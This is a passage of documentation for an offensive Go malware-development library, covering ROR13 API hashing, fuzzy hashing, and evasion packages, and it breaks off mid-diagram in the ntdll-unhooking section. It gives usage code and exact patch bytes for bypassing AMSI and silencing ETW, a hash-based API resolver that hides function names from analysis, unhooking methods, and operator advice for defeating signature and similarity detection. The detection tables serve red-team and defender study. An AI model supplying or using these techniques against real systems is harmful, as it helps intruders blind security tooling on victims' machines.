- Doesn't replace the crypto library — for HMAC, streaming
hash, KDF, use
crypto/*directly. - MD5 / SHA1 are not collision-resistant — use SHA256+ for any integrity assertion that matters.
- Doesn't compute fuzzy hashes — see
fuzzy-hashingfor ssdeep / TLSH (variant detection).
Primer
Two distinct use cases share this file:
The cryptographic wrappers (MD5, SHA1, SHA256, SHA512)
exist because Go's stdlib returns [N]byte arrays — convenient for
machines, awkward for logs, command-line output, and string-keyed maps.
The wrappers compress the boilerplate to one call and produce
lower-case hex strings.
ROR13 is the canonical shellcode hash. Implants resolve Win32 APIs
without keeping plaintext function names in the binary by walking the
PE export directory of a loaded module and comparing each export name's
ROR13 hash against precomputed targets. The trailing-null variant
ROR13Module matches the convention used to hash module names from
LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer. win/api.ResolveByHash
consumes both.
The fuzzy hashes (ssdeep, TLSH) live in a separate page — fuzzy-hashing.md.
How it works
Cryptographic hashes
flowchart LR
DATA[input bytes] --> H{algorithm}
H -->|MD5| M[16-byte digest]
H -->|SHA1| S1[20-byte digest]
H -->|SHA256| S2[32-byte digest]
H -->|SHA512| S5[64-byte digest]
M --> HEX[lower-case hex string]
S1 --> HEX
S2 --> HEX
S5 --> HEX
ROR13
flowchart LR
NAME[function name] --> ITER[for each byte b]
ITER --> ROT[hash = ror32 hash, 13]
ROT --> ADD[hash += b]
ADD --> NEXT{more bytes?}
NEXT -->|yes| ITER
NEXT -->|no| OUT[uint32 hash]
ROR13Module adds a trailing null byte to the input, then hashes —
mirroring the wide-string traversal a PEB-walk shellcode performs over
the unicode BaseDllName.
The arithmetic per byte:
$$ \text{hash}_{i+1} = \big(\text{hash}_i \mathbin{\text{ror}} 13\big) + b_i \mod 2^{32} $$
starting at $\text{hash}_0 = 0$. Pure 32-bit unsigned arithmetic, easy to encode in a few shellcode bytes.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
fmt.Println(hash.SHA256([]byte("payload")))
// 239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5
fmt.Printf("%#x\n", hash.ROR13("LoadLibraryA"))
// 0xec0e4e8e
See ExampleSHA256, ExampleROR13, ExampleROR13Module in
hash_example_test.go.
Composed (precompute API hashes for a resolver)
import "github.com/oioio-space/maldev/hash"
// Precomputed table for the resolver to consume.
var apiHashes = map[string]uint32{
"LoadLibraryA": hash.ROR13("LoadLibraryA"),
"GetProcAddress": hash.ROR13("GetProcAddress"),
"VirtualAlloc": hash.ROR13("VirtualAlloc"),
"VirtualProtect": hash.ROR13("VirtualProtect"),
}
Advanced (hash + win/api.ResolveByHash)
import (
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/win/api"
)
// At runtime — no plaintext "VirtualAlloc" string in the binary.
addr, err := api.ResolveByHash(
hash.ROR13Module("kernel32.dll"),
hash.ROR13("VirtualAlloc"),
)
Complex (full resolver bootstrap pipeline)
import (
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/win/api"
)
type Resolver struct {
handle uintptr
}
func NewResolver(moduleHash uint32) (*Resolver, error) {
h, err := api.GetModuleHandleByHash(moduleHash)
if err != nil { return nil, err }
return &Resolver{handle: h}, nil
}
func (r *Resolver) Resolve(funcName string) (uintptr, error) {
return api.GetProcAddressByHash(r.handle, hash.ROR13(funcName))
}
func main() {
k32, _ := NewResolver(hash.ROR13Module("kernel32.dll"))
valloc, _ := k32.Resolve("VirtualAlloc")
_ = valloc
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Hex strings (especially SHA-256-shaped 64-char) in process memory | YARA over RW pages — hash strings are themselves a tell |
Constant 0xec0e4e8e-class 32-bit values stored in .rdata | Static analysis: known-API ROR13 hash tables are publicly catalogued (e.g. ror13_hashes.csv from various reversing tools) |
Absence of LoadLibraryA / GetProcAddress plaintext in IAT despite using the APIs | Defenders flag "no IAT entries for kernel32 but a kernel32 handle is held" |
ROR13 resolution loop signature (ror eax, 13; add eax, ebx) in .text | Capa, IDA signature plugins, MAEC ML classifiers |
D3FEND counters:
- D3-SEA — static EXE analysis catches the hash table or the ROR13 loop.
- D3-PSA — flags processes that resolve APIs after a delay (typical of packers).
Hardening: spread API resolution across the binary's lifetime
rather than batching at startup; randomise hash constants per build (a
salt fed into ROR13's initial state); pair with sleep-masking so the
resolved-address table does not sit decrypted in heap.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | ROR13 API hashing — no plaintext API names | D3-SEA |
| T1027.007 | Dynamic API Resolution | ROR13 resolver pattern | D3-SEA |
The cryptographic hash wrappers themselves are utility — no MITRE mapping.
Limitations
- MD5 and SHA-1 are broken. Avoid for any integrity / signature use case. The package keeps them only because some legacy formats (e.g. PE Authenticode V1, NTLM) require MD5/SHA-1.
- ROR13 is case-sensitive. Hash mismatches between
LoadLibraryAandloadlibraryaare silent — you'll fail to resolve and the call returnsnil. UseROR13Modulefor module names where Windows is case-insensitive (the function takes care of the null suffix; case still matters). - No streaming API. Every wrapper takes the whole buffer. For
multi-GB inputs, use
crypto/sha256.New()directly andio.Copyinto it.
See also
- API hashing technique page — full walkthrough of the shellcode-side use of ROR13.
fuzzy-hashing.md— ssdeep + TLSH for variant detection.win/api.ResolveByHash— primary consumer ofROR13.pe/morph— uses fuzzy hashing internally to verify post-morph similarity.
Fuzzy hashing (ssdeep + TLSH)
TL;DR
Two locality-sensitive hashes — ssdeep (context-triggered piecewise) and TLSH (Trend Locality-Sensitive Hash) — that produce similar outputs for similar inputs. Use to detect variants of a known sample after small mutations (UPX section rename, packer entropy padding, single-byte patches) that defeat traditional cryptographic hashes.
| You want to… | Use | Returns |
|---|---|---|
| Hash a buffer with ssdeep | Ssdeep | string — VirusTotal / YARA-compatible format |
| Hash a buffer with TLSH | TLSH | string — fixed length per spec |
| Score similarity between two ssdeep hashes | SsdeepCompare | int 0-100 (higher = more similar) |
| Score similarity between two TLSH hashes | TLSHCompare | int 0+ (LOWER = more similar; threshold ~30) |
| Screen N samples against a known-bad seed | Pair with file-walk + threshold loop (see Advanced example) | List of matches above threshold |
What this DOES achieve:
- Variant detection — identify samples derived from a known sample even after small mutations.
- Build-pipeline verification — measure that
pe/morphactually shifted the fuzzy fingerprint while keeping the family intact (or intentionally broke it, depending on goal). - VirusTotal-compatible ssdeep format for cross-tool sharing.
What this does NOT achieve:
- Doesn't catch radically different samples — fuzzy hashes measure SIMILARITY. If two implants share 0% structure, the scores are at floor and you learn nothing.
- ssdeep score has direction-flip semantics vs TLSH — ssdeep: 100 = identical, 0 = unrelated. TLSH: 0 = identical, high = unrelated (~30 typical "variant" threshold). Don't cross-wire them.
- Computational cost — TLSH minimum-length requirement (~256 bytes); ssdeep linear-in-bytes. For huge files, prefer TLSH.
Primer
A traditional hash like SHA-256 changes completely when a single byte flips. That's by design: the slightest tamper must invalidate the fingerprint. The downside is that any morph — even a cosmetic one — makes a known-bad hash useless.
Fuzzy hashes give up exact-match in exchange for proximity. Two ssdeep hashes can be compared to a similarity score in $[0, 100]$; two TLSH hashes give a distance in $[0, \infty)$ where lower means more similar. Defenders use them for variant tracking and clustering; offensive teams use them to measure signature evasion (does my morph defeat fuzzy hashing too, or only SHA-256?).
The package wraps the
glaslos/ssdeep and
glaslos/tlsh pure-Go libraries
behind an idiomatic API.
How it works
flowchart LR
A[file A] --> SsA[Ssdeep]
B[file B] --> SsB[Ssdeep]
SsA --> Cmp1[SsdeepCompare]
SsB --> Cmp1
Cmp1 --> Score[score 0–100]
A --> TlA[TLSH]
B --> TlB[TLSH]
TlA --> Cmp2[TLSHCompare]
TlB --> Cmp2
Cmp2 --> Dist[distance 0–∞]
ssdeep slices the input on context-triggered boundaries (rolling hash hits a threshold), then hashes each slice. Two files with identical slice sequences score 100; files with only some slices in common score proportionally.
TLSH builds a histogram of overlapping 5-byte windows, quantises it, and emits a fixed 70-byte hex string. Distance is roughly Hamming over the quantised histogram.
Minimum input sizes:
- ssdeep — works on any input, but very short inputs produce unreliable hashes.
- TLSH — 50 bytes minimum (library enforced); 256+ bytes recommended for stable distance.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
s, _ := hash.Ssdeep(payload)
t, _ := hash.TLSH(payload)
fmt.Println(s, t)
Composed (compare two payloads)
s1, _ := hash.SsdeepFile("payload_v1.exe")
s2, _ := hash.SsdeepFile("payload_v2.exe")
score, _ := hash.SsdeepCompare(s1, s2)
fmt.Printf("ssdeep score: %d/100\n", score)
t1, _ := hash.TLSHFile("payload_v1.exe")
t2, _ := hash.TLSHFile("payload_v2.exe")
dist, _ := hash.TLSHCompare(t1, t2)
fmt.Printf("tlsh distance: %d\n", dist)
Advanced (batch similarity scan)
Screen a directory of candidates against a known-malicious baseline. Files that score $\ge 70$ on ssdeep or $\le 100$ on TLSH are likely variants of the same family.
import (
"fmt"
"io/fs"
"path/filepath"
"github.com/oioio-space/maldev/hash"
)
func scanVariants(baseline, dir string, ssdeepThreshold, tlshMax int) error {
bSS, _ := hash.SsdeepFile(baseline)
bTL, _ := hash.TLSHFile(baseline)
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil || d.IsDir() {
return err
}
ss, _ := hash.SsdeepFile(path)
tl, _ := hash.TLSHFile(path)
score, _ := hash.SsdeepCompare(bSS, ss)
dist, _ := hash.TLSHCompare(bTL, tl)
if score >= ssdeepThreshold || (dist >= 0 && dist <= tlshMax) {
fmt.Printf("variant ssdeep=%d tlsh=%d %s\n", score, dist, path)
}
return nil
})
}
Complex (UPXMorph vs SHA-256 vs fuzzy hashing)
The core demonstration of why fuzzy hashing exists. pe/morph.UPXMorph
replaces the eight-byte UPX section names (UPX0, UPX1, UPX2) with
random strings. That tiny change flips the SHA-256 — the blocklist
entry for the original hash is now useless. But 24 bytes out of
hundreds of kilobytes is nothing structurally: ssdeep and TLSH see
essentially the same binary and report high similarity.
import (
"fmt"
"os"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/pe/morph"
)
func main() {
packed, err := os.ReadFile("implant-upx.exe")
if err != nil { panic(err) }
sha256Before := hash.SHA256(packed)
ssBefore, _ := hash.Ssdeep(packed)
tlBefore, _ := hash.TLSH(packed)
morphed, err := morph.UPXMorph(packed)
if err != nil { panic(err) }
sha256After := hash.SHA256(morphed)
ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)
fmt.Println("SHA-256 same?:", sha256Before == sha256After)
fmt.Printf("ssdeep score: %d / 100\n", ssScore)
fmt.Printf("TLSH distance: %d\n", tlDist)
}
Typical output for a UPX-morphed binary:
SHA-256 same?: false ← blocklist miss
ssdeep score: 97 / 100 ← variant detected
TLSH distance: 12 ← negligible neighbourhood change
A defender relying solely on SHA-256 is blind to the morphed copy. A defender running ssdeep/TLSH catches it immediately.
OPSEC & Detection
Fuzzy hashing is primarily a defender tool — the offensive use case is measuring evasion, not performing it. Still:
| Artefact | Where defenders look |
|---|---|
| ssdeep score $\ge 70$ vs known-bad seed | VirusTotal "Similar Files" tab, Cuckoo signatures, MISP ssdeep events |
| TLSH distance $\le 100$ vs known-bad seed | Trend Micro telemetry, MITRE TLSH-based clustering |
D3FEND counter: D3-SEA — Static Executable Analysis covers fuzzy-hash-based clustering.
Operator implication: if your morph reduces the SHA-256 match but
leaves ssdeep/TLSH high, you've broken signature-based detection but
not similarity-based detection. Layer with structural mutation
(pe/morph + section rebuild + obfuscated control flow) until both
metrics fall.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | analysis tooling — measures, doesn't perform | D3-SEA |
(The hashes themselves don't perform a technique; they're used to evaluate how thoroughly a morph or packer defeats clustering.)
Limitations
- ssdeep block-size mismatch. Hashes with non-adjacent block-size
magnitudes are incomparable —
SsdeepComparereturns an error. This is a fundamental property of CTPH, not a bug. - TLSH minimum size. 50 bytes is library-enforced. Shorter inputs return an error. 256+ bytes recommended for stable distance.
- Pure-Go performance. Both libraries are pure Go. Native
ssdeep/TLSH C implementations are 3–5× faster on large datasets — if
scanning thousands of files, batch them and parallelise via
errgroup. - Defender bias. These hashes were designed by defenders, for defenders. Their offensive value is purely diagnostic.
See also
cryptographic-hashes.md— the exact-match counterparts (MD5/SHA-*).pe/morph— the canonical mutation tool whose effect is best measured against fuzzy hashes.- Roussev, Data Fingerprinting with Similarity Digests — academic primer on CTPH (the algorithm behind ssdeep).
- Oliver, Cheng, Chen, TLSH — A Locality Sensitive Hash — TLSH algorithm paper.
Evasion techniques
In-process and on-host primitives that disable, blind, restore, or
hide the defensive surface so subsequent injection / collection /
post-ex code runs unobserved. Every package in this area accepts a
*wsyscall.Caller and composes via evasion.ApplyAll or
evasion/preset recipes.
TL;DR
flowchart LR
A[unhook ntdll] --> B[patch AMSI]
B --> C[patch ETW]
C --> D[harden process<br>ACG / BlockDLLs / CET]
D --> E[sleepmask between callbacks]
The "operator's first 100 ms" — restore clean syscall stubs, blind the two main monitoring channels, harden the process against future hooks, mask payload memory during sleep.
Where to start (novice path):
preset— bundle of all the above in one call. Most operators stop here.ntdll-unhooking— the foundation every other layer assumes.sleep-mask— once your implant works, sleep masking keeps it invisible BETWEEN callbacks.callstack-spoof,stealthopen,kernel-callback-removal— advanced surfaces; pick when a specific defender forces you there.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
evasion/acg | acg-blockdlls.md | quiet | Arbitrary Code Guard — block dynamic-code allocation in own process |
evasion/amsi | amsi-bypass.md | noisy | Patch AmsiScanBuffer / AmsiOpenSession for "always clean" verdicts |
evasion/blockdlls | acg-blockdlls.md | quiet | Microsoft-only DLL signature requirement |
evasion/callstack | callstack-spoof.md | quiet | Call-stack spoof primitives — fake return addresses for syscalls |
evasion/cet | cet.md | noisy | Intel CET shadow-stack opt-out + ENDBR64 marker for APC paths |
evasion/etw | etw-patching.md | moderate | Patch ntdll ETW write helpers with xor rax,rax; ret |
evasion/hook | inline-hook.md | quiet | Install your own inline hooks (probe, group, remote, bridge) |
evasion/hook/bridge | inline-hook.md | quiet | IPC bridge — out-of-process hook controller |
evasion/hook/shellcode | inline-hook.md | quiet | x64 trampoline / prologue-steal generator |
evasion/kcallback | kernel-callback-removal.md | very-noisy | Enumerate / remove kernel callback registrations (BYOVD-pluggable) |
evasion/preset | preset.md | varies | Curated Minimal / Stealth / Aggressive Technique bundles |
evasion/sleepmask | sleep-mask.md | quiet | Encrypt payload memory during sleep with EKKO / Foliage / Inline strategies |
evasion/stealthopen | stealthopen.md | quiet | NTFS Object-ID file access — bypass path-based EDR file hooks |
evasion/unhook | ntdll-unhooking.md | noisy | Restore ntdll.dll syscall stubs from disk or fresh child process |
Cross-categorised pages currently living here (packages live elsewhere):
| Page | Actual package | Note |
|---|---|---|
| ../recon/anti-analysis.md | recon/antidebug, recon/antivm | moved to recon/ — debugger + VM detection |
| ../kernel/byovd-rtcore64.md | kernel/driver/rtcore64 | moved to kernel/ — BYOVD primitive used by kcallback + lsassdump |
| ../recon/dll-hijack.md | recon/dllhijack | moved to recon/ — discovery is recon, exploitation is evasion |
| ../process/fakecmd.md | process/tamper/fakecmd | PEB CommandLine spoof — moved to process/ |
| ../process/hideprocess.md | process/tamper/hideprocess | NtQSI patch to hide PIDs — moved to process/ |
| ../recon/hw-breakpoints.md | recon/hwbp | moved to recon/ — DR0–DR7 inspection |
| ../process/phant0m.md | process/tamper/phant0m | EventLog svchost thread kill — moved to process/ |
| ppid-spoofing.md | c2/shell (PPIDSpoofer) | spawn-time parent PID spoof |
| ../recon/sandbox.md | recon/sandbox | moved to recon/ — multi-factor orchestrator |
| ../recon/timing.md | recon/timing | moved to recon/ — time-based evasion |
Quick decision tree
| You want to… | Use |
|---|---|
| …blind PowerShell / .NET AMSI scanning | amsi.PatchAll |
| …blind ETW for the current process | etw.PatchAll |
| …restore EDR-hooked syscall stubs before patching | unhook.FullUnhook or unhook.CommonClassic |
| …make memory scanners blind during sleep | sleepmask |
| …ship a single "do everything sane" recipe | preset.Stealth() |
| …read a sensitive file path without leaving a path-based event | stealthopen |
| …survive Win11+CET-enforced hosts on APC paths | cet.Wrap or cet.Disable |
| …spoof call-stack return addresses for stealth syscalls | callstack.SpoofCall |
| …remove a kernel callback (PsSetLoadImageNotifyRoutine etc.) | kcallback (requires BYOVD reader) |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | evasion/sleepmask | D3-PMA |
| T1036 | Masquerading | evasion/callstack, evasion/stealthopen | D3-PSA |
| T1497 | Virtualization/Sandbox Evasion | recon/sandbox, recon/antivm, recon/timing | D3-PSA, D3-PMA |
| T1562.001 | Impair Defenses: Disable or Modify Tools | evasion/{amsi,etw,unhook,acg,blockdlls,cet,kcallback,preset} | D3-PMC, D3-PSA |
| T1562.002 | Impair Defenses: Disable Windows Event Logging | process/tamper/phant0m | D3-RAPA |
| T1574.012 | Hijack Execution Flow: COR_PROFILER | evasion/hook (inline hook scaffold) | D3-PMC |
| T1622 | Debugger Evasion | recon/antidebug, recon/hwbp | D3-PSA |
See also
- Operator path: 30-minute implant
- Researcher path: Caller pattern
- Detection eng path: AMSI / ETW / unhook artifacts
AMSI bypass
TL;DR — patch
AmsiScanBuffer(3-bytexor eax,eax; retprologue) and/orAmsiOpenSession(flip the conditional jump) in the loadedamsi.dllof the current process. Every AMSI scan then returns "clean" without reaching the registered antimalware provider.
What it does
The Antimalware Scan Interface (AMSI) is the Windows mechanism that
ships script bodies — PowerShell, .NET Assembly.Load, VBScript,
JScript — to a registered antimalware provider (usually Defender)
for inspection before the runtime executes them. If the provider
flags the body, the runtime aborts.
This package patches amsi.dll in the current process's address
space so that every subsequent scan returns a clean verdict without
the provider ever being called. It's a per-process operation;
other processes on the host stay unaffected.
[!IMPORTANT] Per-process scope only. Patching here does not disable AMSI system-wide — a child PowerShell will get scanned unless that child also patches. Persists for the lifetime of the calling process.
How it works
sequenceDiagram
participant Loader as "Loader<br/>(CLR host, PS, …)"
participant amsi as "amsi.dll"
participant Provider as "Defender<br/>(MpOav.dll)"
rect rgb(255,238,238)
Note over Loader,Provider: Without patch
Loader->>amsi: AmsiScanBuffer(payload)
amsi->>Provider: ScanContent
Provider-->>amsi: AMSI_RESULT_DETECTED
amsi-->>Loader: HRESULT, *result = DETECTED
Loader->>Loader: abort
end
rect rgb(238,255,238)
Note over Loader,Provider: After PatchScanBuffer
Loader->>amsi: AmsiScanBuffer(payload)
Note over amsi: prologue is now<br/>31 C0 C3 (xor eax,eax then ret)
amsi-->>Loader: returns S_OK, *result untouched
Loader->>Loader: continue (treats as clean)
end
PatchScanBuffer walks five steps:
LoadLibraryW("amsi.dll")— ensures the module is mapped (no-op if already loaded).GetProcAddress(amsi, "AmsiScanBuffer")resolves the entry.NtProtectVirtualMemory(addr, 3, PAGE_EXECUTE_READWRITE)via the supplied*wsyscall.Caller.- memcpy
31 C0 C3(xor eax,eax; ret) over the prologue. NtProtectVirtualMemory(addr, 3, original)restores protection.
PatchOpenSession is the same shape but flips one byte
(JZ → JNZ) in AmsiOpenSession, so session creation always
"succeeds" without the provider initialising.
Usage
import (
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/win/syscall" // wsyscall
)
caller, _ := wsyscall.New(wsyscall.MethodIndirect)
if err := amsi.PatchAll(caller); err != nil {
return fmt.Errorf("amsi bypass: %w", err)
}
// AmsiScanBuffer + AmsiOpenSession now both short-circuit
// in this process for its lifetime.
Composed with the rest of the evasion stack via
evasion.ApplyAll:
caller, _ := wsyscall.New(wsyscall.MethodIndirect)
results := evasion.ApplyAll([]evasion.Technique{
unhook.CommonClassic(), // restore ntdll first
amsi.All(), // then blind AMSI
etw.All(), // then blind ETW
}, caller)
Non-obvious behaviour
caller == nilfalls back to direct WinAPI for debug — never ship that to production (loud telemetry).PatchScanBufferis naturally idempotent — it always writes the same 3 bytes at the function entry.PatchOpenSessioncarries a package-level atomic flag so re-invoking (e.g. once per caller in a sweep) doesn't consume additional0x74sites and surface a spurious "conditional jump not found" error.- Returns
nilsilently ifamsi.dllis not loaded and cannot be loaded (some sandbox flavours).
OPSEC & detection
| Artefact | Where defenders look |
|---|---|
NtProtectVirtualMemory(amsi.dll, RWX) | ETW TI EVENT_TI_NTPROTECT — highest-leverage signal |
3 bytes of amsi.dll differ from disk image | EDR memory-integrity scan of loaded modules |
AmsiScanBuffer returns S_OK in 0 µs | Statistical hunt — real scans take 100 µs–10 ms |
Process loaded amsi.dll but never calls back to provider | ETW provider event volume per process |
D3FEND counters: D3-PMC, D3-PSA.
Hardening: AMSI Provider DLL pinned + signed; on Win11 CFG +
ProcessUserShadowStackPolicy raise the cost of reliably reaching
the patch site.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | full (per-process AMSI nullification) |
Limitations
- Per-process only. Children get scanned unless they also patch.
- Defender signatures flag the loaded-process side effect
(
Windows-AMSI-Bypassfamily). Composing withunhookfirst reduces the chance of being mid-flight when Defender's hooks fire. - CFG doesn't block prologue patches but EDR hook-scanners that
re-scan
amsi.dllperiodically catch it. - Non-Defender providers (third-party AV) may take code paths
that don't go through
AmsiScanBuffer— rare today.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/amsi
is the authoritative reference for every symbol the package
exports. This page teaches the concepts; the godoc is the
specification.
See also
evasion/etw— sibling defence-impair.evasion/unhook— restore EDR-hooked APIs first.evasion/preset— pre-baked stacks (Stealth, Aggressive).- Rasta Mouse — Memory Patching AMSI Bypass (original reference).
- Microsoft — AMSI overview.
ETW patching
TL;DR
Overwrite the prologue of ntdll.dll's ETW write helpers
(EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull,
EtwEventWriteString, EtwEventWriteTransfer) with
xor rax,rax; ret. Any ETW provider in the process emits zero events
while still receiving STATUS_SUCCESS.
Primer
Event Tracing for Windows is the primary telemetry pipeline of the
Windows kernel — every EDR, every audit policy, every Defender
real-time component subscribes to it. User-mode providers in the
current process route their events through the five EtwEvent* write
functions in ntdll.dll. Patching those five functions to be no-ops
silences ETW for the process: no provider can publish, regardless of
what EventRegister returned.
The NtTraceEvent syscall sits one layer below the user-mode helpers.
A few EDRs direct-call it to bypass the user-mode patch — hence the
companion PatchNtTraceEvent for the kernel-call layer.
[!NOTE] ETW Threat Intelligence (
Microsoft-Windows-Threat-Intelligence) is a kernel-side ETW channel that this patch does NOT silence — kernel-mode events emitted byEtwTraceEvent(kernel form) still reach subscribers. The patch covers user-mode emission only.
How it works
sequenceDiagram
participant Provider as "user-mode provider"
participant ntdll as "ntdll!EtwEventWrite"
participant TI as "ETW Subscriber"
rect rgb(255,238,238)
Note over Provider,TI: Without patch
Provider->>ntdll: EtwEventWrite(provider, descriptor, payload)
ntdll->>TI: NtTraceEvent → consumer
ntdll-->>Provider: STATUS_SUCCESS
end
rect rgb(238,255,238)
Note over Provider,TI: After PatchAll
Provider->>ntdll: EtwEventWrite(...)
Note over ntdll: prologue is now<br/>48 33 C0 C3 (xor rax,rax then ret)
ntdll-->>Provider: STATUS_SUCCESS<br/>(no event emitted)
end
For each of the five functions:
GetProcAddress(ntdll, "EtwEventWrite*").NtProtectVirtualMemory(addr, 4, PAGE_EXECUTE_READWRITE)via the supplied*Caller.- memcpy
48 33 C0 C3(xor rax, rax; ret). NtProtectVirtualMemory(addr, 4, original).
PatchNtTraceEvent does the same for NtTraceEvent with a single RET.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/etw is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := etw.PatchAll(caller); err != nil {
log.Fatal(err)
}
// User-mode ETW providers in this process emit nothing now.
Composed (with evasion.amsi)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll([]evasion.Technique{
amsi.All(),
etw.All(),
}, caller)
Advanced (NtTraceEvent for stubborn EDRs)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = etw.PatchAll(caller) // user-mode helpers
_ = etw.PatchNtTraceEvent(caller) // kernel-call layer
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
5 × NtProtectVirtualMemory(ntdll, RWX) | ETW TI EVENT_TI_NTPROTECT — same channel as AMSI patch detection |
4 bytes of each EtwEvent* differ from on-disk image | EDR memory-integrity scanning |
| Process registered an ETW provider but emits zero events | Kernel-side ETW provider-volume monitoring |
| Per-provider event-count drops to zero mid-process | Process-lifecycle ETW analytics |
D3FEND counter: D3-PMC.
Hardening: subscribe to ETW Threat Intelligence in user-mode SIEM
collection — even if the patched process emits nothing, the
NtProtectVirtualMemory flips that installed the patch are visible in
TI.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | user-mode ETW write functions + optional NtTraceEvent | D3-PMC |
Limitations
- Per-process only. Other processes still emit events normally.
- Doesn't silence kernel-side ETW providers (Microsoft-Windows- Threat-Intelligence, Microsoft-Windows-Kernel-Process). Those emit from kernel mode regardless of user-mode patches.
- EDR may rescan
ntdll.dllevery N seconds; the patch is detectable if rescans are on. - The four-byte prologue overwrite assumes x86_64. ARM64 ntdll has different prologues; the package's current code is amd64-only.
See also
evasion/amsi— sibling defence-impair.evasion/unhook— restore ntdll first.- modexp — Disabling ETW — original reference.
- Microsoft — Event Tracing for Windows.
ntdll Unhooking
MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-HBPI -- Hook-Based Process Instrumentation | Detection: High
TL;DR
EDR products patch the first bytes of NTAPI functions in
ntdll.dll so they can intercept your syscalls. Unhooking
restores the original bytes from a clean source so your calls
go straight to the kernel without EDR interception.
Three methods, increasing footprint and stealth:
| Method | What it does | Cost | When to pick |
|---|---|---|---|
ClassicUnhook | Restores 5 bytes of ONE named function from on-disk ntdll.dll | Smallest. ~3 reads + 1 write per function. | You know exactly which API the EDR hooked (e.g., NtAllocateVirtualMemory). Good with unhook.CommonClassic (10 known-hooked functions). |
FullUnhook | Replaces the entire .text section of ntdll.dll from disk | Larger. One big write. | You don't know which functions are hooked, or you want all of them clean at once. |
PerunUnhook | Reads a clean .text from a freshly-spawned suspended process | Largest. Spawns a child process. | You can't read ntdll.dll from disk (path-blocking minifilter, EDR catches the open). |
What this DOES achieve:
- Your subsequent NTAPI calls go straight to
syscallwithout EDR's hook code running. - For Classic / Full, paired with a
stealthopen.Opener, even the on-disk read ofntdll.dllbypasses path-keyed filters.
What this does NOT achieve:
- Doesn't unhook every defender — kernel-mode callbacks
(
PsSetCreateProcessNotifyRoutinefamily) still fire. Seeevasion/kernel-callback-removal. - Doesn't survive re-hooking — some EDRs install a periodic re-hook timer. Unhook then act fast; don't expect persistence.
- Detectable: the unhook write itself is observable. EDR agents that hash their own hooks alert when the bytes change.
Primer — vocabulary
Five terms recur on this page:
Hook — an inline patch (typically a
JMP rel32) the EDR writes at the start of a target function so that calls to it divert into the EDR's monitoring code first. The original bytes are saved in a "trampoline" the EDR uses to call through after logging.Prologue — the first few bytes of a function's machine code. EDR hooks rewrite these bytes; unhooking restores them. Typical hook patch is 5 bytes (one
JMP rel32); some advanced EDRs use 14-byte absolute jumps.
.textsection — the executable code section of a PE. Contains the bytes for every function in the module. Full unhooking replaces this entire section in the in-memory image.
stealthopen.Opener— interface fromevasion/stealthopenthat opens a file by NTFS Object ID instead of by path. Pass to Classic/Full unhook to make the on-disk read ofntdll.dllinvisible to path-keyed minifilters.ASLR — Address Space Layout Randomization. Most modules get randomised base addresses, but
ntdll.dll's base is set ONCE per boot and shared across all processes. That's why Perun works: the suspended child'sntdlllives at the same address as your own, byte-for-byte clean.
Primer — the analogy
When a security guard is worried about a specific door, they install a tripwire across it. Anyone who walks through triggers an alarm, and the guard knows exactly who passed and when. The door still works normally -- it just has an invisible wire that reports activity.
EDR products do the same thing to Windows API functions. When your process starts, the EDR modifies the first few bytes of critical functions in ntdll.dll (the lowest-level user-mode library) to redirect them through the EDR's own monitoring code. This is called "hooking." When you call NtAllocateVirtualMemory, the hook intercepts the call, logs it, decides whether to allow it, and then either passes it through to the real function or blocks it.
Unhooking is finding the original blueprints for the door (the clean ntdll.dll from disk or from another process) and rebuilding the door without the tripwire. Once the hooks are removed, your API calls go directly to the kernel without EDR interception.
maldev provides three unhooking methods with increasing sophistication:
- Classic -- Restore just the first 5 bytes of a specific function from the on-disk copy.
- Full -- Replace the entire
.textsection of ntdll from the disk copy, removing ALL hooks at once. - Perun -- Read a pristine ntdll from a freshly-spawned suspended process (avoids reading from disk entirely).
How It Works
flowchart TD
subgraph Classic["Classic Unhook"]
C1[Read ntdll.dll from disk] --> C2[Parse PE exports]
C2 --> C3[Find target function offset]
C3 --> C4[Read first 5 clean bytes]
C4 --> C5[Overwrite hooked bytes in memory]
end
subgraph Full["Full Unhook"]
F1[Read ntdll.dll from disk] --> F2[Parse PE sections]
F2 --> F3[Extract entire .text section]
F3 --> F4[VirtualProtect .text → RWX]
F4 --> F5[Overwrite entire .text in memory]
F5 --> F6[Restore .text protection]
end
subgraph Perun["Perun Unhook"]
P1[CreateProcess notepad.exe SUSPENDED] --> P2[Read child's ntdll .text via ReadProcessMemory]
